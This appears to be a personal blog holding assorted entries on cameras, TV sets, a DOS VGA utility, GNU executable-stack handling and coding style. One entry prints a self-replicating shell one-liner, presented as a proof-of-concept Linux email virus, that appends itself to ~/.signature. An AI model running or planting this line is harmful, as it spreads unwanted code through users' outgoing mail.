New Years Eve Fireworks
Random pictures from around midnight 2007-12-31 / 2008-01-01. Downscaled a little so wordpress autogenerates thumbnails and doesnt randomly refuse the uploads
Random pictures from around midnight 2007-12-31 / 2008-01-01. Downscaled a little so wordpress autogenerates thumbnails and doesnt randomly refuse the uploads
Being a little bored and too lazy to do any meaningfull work. Ive looked at wikis main page and on that the Paradox of choice caught my eye, thinking its some interresting thing about math like the Axiom of choice is.
After reading the article iam puzzled why something like that is on wikipedia at all. Not to mention how things like that get linked from the front page.
Psychology has together with astrology always been a little astray from science and logic. But that article is really missing the point. Consumers dont have a problem with too many choices, they have a problem with making choices based on lack of information, wrong and irrelevant information (as presented in advertisements).
If one has a small set of products to choose from at the supermarkt one can try them all or at least a significant fraction of them and then in the future choose the best (considering quality, taste, price, …). With more products trying a significant fraction becomes impossible, one has to rely on other means of comparission. With many products thats still dead easy, for example after trying 3 differnt brands of noodles one realzes they all taste the same. So simply choosing the cheapest is the ideal choice. The same is true in a sense for green tea. None of the green teas from supermarkets i tried tastes as good as a random one from a real tea shop. It gets a lot trickier with these frozen, refrigerated, canned or dried, ready made foods there are far too many to try them all. Theres no obvious trend of taste vs. price, not even a reliable taste vs. brand trend. Only thing which has been always true is that cooked by my (grand)mother or myself tastes better :). I think supermarkets really should add some “number of packs sold per month” and “average customer rating” to their price tags.
Supperior (no frozen and dried crap), half finished, yesterday:
Finished (still yesterday)
A few days ago i came up with the idea of replacing my several years old canon digital ixus 30 with something newer and better. Maybe with a more recent canon ixus (called elph SD+somenumber outside europe), heres a summary of what ive found that has changed:
noise at same ISO? | well iam not sure if it improved a little or not, the test images in various digicam tests on the web arent easy to compare due to different resolutions and likely different noise reduction used by the cameras … |
---|---|
ISOs | the recent ixus/elphs suport 800 and 1600 which is nice though somewhat noisy, OTOH they lost 50 support which is a pitty and i cant help but wonder why noone has hacked the damn crap to support any ISO. Or has someone? |
manual controls | no, still not, we need to wait another 10years for canon to remove that #ifndef ELPH in their source code |
wide angle | 28-105mm on the SD800 and SD870 instead of 35-105mm which is nice but id be more happy if they had 18-55mm or something in that area |
max aperture | no still at f2.8 and thats the same for all compact cameras i found |
weight | seems to have gotten worse … |
Really important things | Face detection, yes really everyone dreamed of it and wanted it now finally we have it in every new camera ;) but seriously wtf. Is the industry totally insane? What is this nonsense good for … if at least it would recognize people and depending on who it is focus on something else :) then it might be usefull but … Just remember the user of the camera knows what he wants to focus on, the camera does not and cannot, the user might even want to focus on different things in the same situation depending on his mood its not something a camera or another human can guess |
So seems like 3 years isnt enough for canon to improve their (ultra) compact cameras. What about the powershot A series? well i had the A95 for a week but it was simply way too heavy and big also its light sensitivity was not any better than the much smaller canon ixus IIRC. Though at least it had manual controls so the camera did what i wanted. And the fuji F30/F31fd? Well fuji stoped producing them and their replacment the F50fd produces vertical stripes with a nice green magenta gradient over its images, making high ISO unuseable without some cleanup. (noise is one thing but stripes even if they are fainter than the noise just isnt something i want in my images) Also the f50fd is noisier than the f31fd though still significantly less noisy then anything produced by its competitors in that size and weight range that i found.
So suggestions welcome, but it looks like i wont buy any new camera. Capitalism has once again demonstrated that it doesnt work, its not as if the consumer would know which product is best and would thus force the industry to produce better products, its rather that the industry prints irrelevant numbers (megapixels) on the cameras and the consumer buys based on that ignoring all relevant parameters. So the industry just needs to exchange the CCD with one with more megapixels and paint the camera differently instead of improving anything relevant.
Low resolution graphics modes like 320×200 are displayed with doublescan so that each logical line is drawn twice, that way 320×200 is drawn with 400 lines which looks better than 200 on a modern CRT monitor. The reason is that modern CRT monitors are designed to be able to display 1000 or more lines and if they are feeded with just 200 there would be huge black bars between these thin 200 lines, with 400 lines its better but still not good.
VGA600 is a little DOS TSR which i wrote in 1996/1997 to solve this problem, VGA600 does that by monitoring the state of various vga registers and if it detects that the current graphic or text mode can be improved then it improves it by increasing the number of lines and dot clock. So for example 320×200 would be displayed with 600 or 800 lines (which it is depends on the configuration)
Source code under GPL, README and binary are available too
Ive extensively tested VGA600 with doom and quake with a ET4000 PCI card a long time ago ;)
Patches welcome, especially ones porting this to linux and modern vga cards :)
Seeing all the thousends of email viruses in my spam folder, all probably specific to windows, iam wondering why havnt i seen any for linux. Are linux users too intelligent to copy and past unknown code into their terminal or execute a attached executable?
Its not hard to write a email virus for linux, if you dont belive me see the example below. Note, the code is public domain i dont claim any copyright on it. Standard disclaimer: iam not resposible for the consequences of using this code for anything even less so modificated variants of it. Iam just providing this for scientific purposes! Do not use it for any evil!
echo ' echo echo `echo -e \\\47;cat /tmp/t;echo -e \\\47`\>/tmp/t\;. /tmp/t>>~/.signature'>/tmp/t;. /tmp/t
Java sucks, all remotely sane humans know that nowadays, but long long ago i did the unimagineable and volunteerly wrote some small java programs (until i realized how badly java sucks). Todays or actually tonights blog entry is dedicated to one of these, a little Tic-Tac-Toe game, which you should be able to see below in the unlikely case that you have java enabled in your browser
8? years old GPL source is available too, and in case you are wondering the images where created with povray, and yes patches to improve it are welcome ;)
PS: if you win send me a bugreport ;)
You get one of these begging letters from a bunch of animal-rights activists who need some money to safe a few poor animals, well you dont really wonder about from where they know your name and address, after all you live in a corrupto-cracy which protects such personal data …
But the real question is what do you do, donate a few euro to them? I mean the case iam talking about is not about some corrupted spammers but rather the following, quick summary (based on unverified info from the net)
an austrian zoo (safaripark gänserndorf) goes bankrupt somewhere in 2004, over 800 animals need to find a new home, many of them are being bought by animal-rights activist groups or zoos, the politicans and other austrian zoos who should take care of the animals until a new home is found rather fight against each other and try to squeeze money out of the whole while pretending in public that they would work pro bono. In the end there are a few lions and HIV infected monkeys left. The monkeys needs are being paid for by the pharma industry, yeah anyone surprised they care more about the wellfare of the animals than our politicans and other zoos? The lions owned by animal-rights activist group “Vier pfoten” from whom the begging letter was, they also bought some area in south africa for the lions but not surprissingly need more money …
Now why did i write this off topic blog entry? Well iam unsure if i should donate them a few euro or not, i want to help the animals but iam not so sure if what the animal rights activists do really helps anyone. Ive no doubt they have only the best intentions but the question is not dead lion vs. alive lion living in a nice natural environment but rather dead lion vs. a few hundread dead cows, yes lions arent vegetarian also the lions cannot be let loose into true freedom as they have been used to being close to humans. So being part of a working ecosystem where they hunt and kill their pray and by that positively contribute to the evolution of their pray (weakest dies strong survives and reproduces …) isnt possible.
And just in case anyone is curious, i belive its a detestable thing to lock animals into cages for the publics entertainment. Or in other words i hate zoos, thouse running them and thouse who support them (by visiting and thus paying for them).
You upgrade your linux distro and suddenly things are failing with error messages like "error while loading shared libraries: libfoobar.so.123: cannot enable executable stack as shared object requires: Permission denied"
what happened?
Well, you just have become yet another witness of the decay of the GNU toolchain. Besides that gcc and glibc becomes more and more bloated every day, gcc bugreports being randomly closed without fixing them and so on, we since some time have the beautifull PT_GNU_STACK feature in every GNU tool which tries very hard to make the stack of application executable, without grsec your system will be more vulnerable, with grsec stuff will fail hard as grsec will not give apps an executable stack if they dont need one and the redhead ehm i mean gnu libc/loader/… will then simply refuse to continue if the unneccesary executablity isnt provided
PT_GNU_STACK is a entry in the elf file format which contains the access rights (read, write, execute) of the stack, so far so good, nothing bad here, the problem is how these access rights are choosen by the tools …
The stack is always read and writeable obviously thats needed, so we are left with the question about it being executable, when linking objects together into an library or libraries into an application, a single object requireing an executable stack will cause the final application and all libraries which contain that object to need an executable stack, if no object needs an executable stack the final application wont need one either
Every tool in the gnu toolchain will from source over assembly, objects and libraries to final application merge the PT_GNU_STACK access rights so that a single object needing a executable stack will cause the final application to need one, in case of doubt (no PT_GNU_STACK entry) the default is that the specific object needs an executable stack
Deciding if a piece of code needs an executable stack is proofably not possible, its indeed equivalent to solving the halting problem …
so gcc, gas and so on guess if a pice of code needs an executeable stack and if they are unsure, they claim that it does
For example calling a function through a global pointer, the compiler compiling that file cant decide about the stack access rights as it doesnt know all code which changes the pointer, the linker later would have to dissassemble the object files again just to have the info needed to decide it …
If you execute code on the stack, does it need to be executable? if you use redheads execshield then AFAIK yes, if you use grsec it depends upon the code, as grsec can detect and emulate some common and harmless sequences of instrucions on the stack (trampolines)
Theres no need to have an executable stack if that feature isnt used, actually applications might explicily try to enable / disable executability of a specific part of memory depening upon needs, gcc will in that case almost certainly claim that the app always needs an executable stack …
All these things cause applications to claim that they require an executable stack while they simply do not, which makes your system much more vulnerable to attacks
Mark final applications which need an executable stack as such, make the default to not requireing an executable stack
Well, in practice more then 99% of all applications dont need an executable stack and if a application needs an executable stack but doesnt have one then that causes a clear failure which will be noticed immedeatly and can be fixed by marking that application as needing a executable stack
OTOH the current PT_GNU_STACK system with its pass the flags from source to final app ideally needs corretures to be done for each source file which the gnu tools cant deal with automatically, and there are many more source files then applications not to mention that the error rate at the application level seems to be far in excess of 1%
furthermore marking an app as requireing an executable stack while it actually doesnt, wont produce any warning, error or otherwise any hint that something is wrong while security is greatly impaired
There are many coding style guides, IMO actually significantly too many … their existence often only justified by the single hypothesis that having everything in the same style is more readable then having one style per file and letting the original author / maintainer decide it, now maybe my memory sucks but i dont remember a single case where the difference in coding style in different parts of a project caused me any difficulty in understanding. It was rather the lack of any indention, exclusive use of single letter variables or simply the complexity of the code, lack of comments, and my stupidity of course which caused difficulty understanding something …
hmm, mphq cvs is still dead :( so lets try to write the ultimate coding style guide and hope mphq works when iam done so i can finally commit a few minor bugfixes
Every rule must be justifyable and the justification must not apply to a contradicting rule too
yes, iam trying to avoid the “for consistancy” justification which can be applied to litterally anything
Write consistant code / Changes should be approximately in the same style as the surrounding code
Justifiction: having the coding and indention style change every few lines makes code somewhat harder to read, while a overly strict style restriction will cause some volunteers (or employees) to leave
Write indented code (code within a block should be at the same indention level, code in parent and child blocks should be at different levels), placement and indention of stuff like {} is not restricted here, just the actual code
Justification: see mplayer.c for what happens without that rule :)
Avoid constructs which IDEs/editors have difficulty with, common examples are non-ASCII letters, tab / space mixes, differing tab length in different files, dos line endings, …
Justification: obvious
avoid non english (in identiers and comments)
Justification: not everyone speaks every language, english is understood my most people, of course if every programmer you care about understands hungarian then its a perfect choice too
maximize usefull information at minimum size and complexity (simple code preferred)
so a variable name like szMyCompleteName
is normaly worse then simply name
as the type is probably obvious, “complete” also adds no new info … of course a function which converts zero terminated strings to length + chars style would benefit from having the type in the names, it all depends upon how and where a variable is used
comments should not say whats already obvious from the code like int i=sqrt(v); //i is the squre root of v
but instead provide usefull info like //i is the largest factor v can contain, so we only need to test integers less then i
but then in that case maybe renaming i to largest_factor would have provided more info at less size …
justificaion: the idea is to provide the reader with the info she is interrested in, not to duplicate and spread out the important stuff between noise
also less code means fewer places where a bug could be
Note: this rule also forbids code duplication, and other bloatedness
Write efficient code
Note: efficient here means little memory, disk, cpu, …
Justification: well this one should be obvious
Write portable code
Justification: well this one should be obvious too
Write localized / internationalized applications (user vissible stuff in her native language)
Note, maybe error messages should be dealt with differently as the developers need to understand them in bugreports …
Justification: well this one should be obvious too
Write compatible code (dont break compatibility of file formats, your last library release, …)
Justification: well this one should be obvious too
Write secure code (dont write over the end of an array, checking untrusted input carefully, be carefull with malloc(w*h) due to overflows of the *, …)
Justification: well this one should be obvious too
Write modular code / split code into independant parts
Justification: many dependancies makes code very hard to understand and maintain
If some rules contradict, use common sense (which goal is more important in a specific case)
Its been a month since my last blog entry, iam not sure if thats bad or not, anyway heres some more halfway offtopic crap, i want(ed) to buy a new TV set as the one i have here is _old_ and doesnt really work very well …
CRTs, are old, many shops dont have any CRT based TV sets anymore and everyone seems to know they are old and inferrior
LCDs, shiny new technology, flatter and better, well wait, why exactly does every LCD TV below 1000€ have a _vastly_ inferrior picture quality then my mothers el-cheapo noname CRT TV which probably costed < 200€ … and iam not saying the ones above 1000€ where better, just out of my acceptable price range and many showing high resolution HDTV which made fair comparission hard …
for CRTs size seems strongly correlated with quality and features, no 55cm 100hz TV sets for example, it also seemed like larger isnt realy more expensive, for LCDs of coarse larger is much more expensive …
50hz flickers, and actually i somehow cant get rid of the feeling that its stronger flickering then 50hz TV sets had a few years ago
100hz dosnt flicker, wait, actually i found just one 100hz TV set <300€ which didnt had at least part of the image flickering, all others had parts of the TV channels logo flickering also with 100hz you can choose between some residue interlacing artifacts or “staircase” artifacts on moving objects, ive not found any 100hz tv set which didnt show some artifacts allthough in the end i prefer 100hz over 50hz the artifcats are less annoying then the flickering IMHO
Well you walk into a shop with TV sets, many TV sets … all showing different stuff, and if you are lucky and they show the same then its a crappy dark low quality music video from MTV completely unsuitable for comparing, but wait one shop had remote controls “attached” to each tv set so customers could change settings and channels as they liked, sadly less then half the remotes where working …
LCDs have imporved, more in the written numbers then in reallity, CRTs seems to have become worse but still LCDs are behind CRTs both in quality and quality per price
many TV sets be it CRT or LCD show terrible artifacts
50hz CRTs: flickering
100hz CRTs: staircase or interlacing artifacts on moving objects
CRTs in general: some cases of brightness-size dependance, most have oversharpened and too strongly saturated images (yeah last 2 are purely an adjustment thing, probably done as most customers are idiots and prefer oversharpened and too strongly saturated images)
LCDs: washed out blurry images, colors more or less wrong, aritifacts caused by slow reaction times not to mention 2-4 times as expensive as CRTs
Powered by WordPress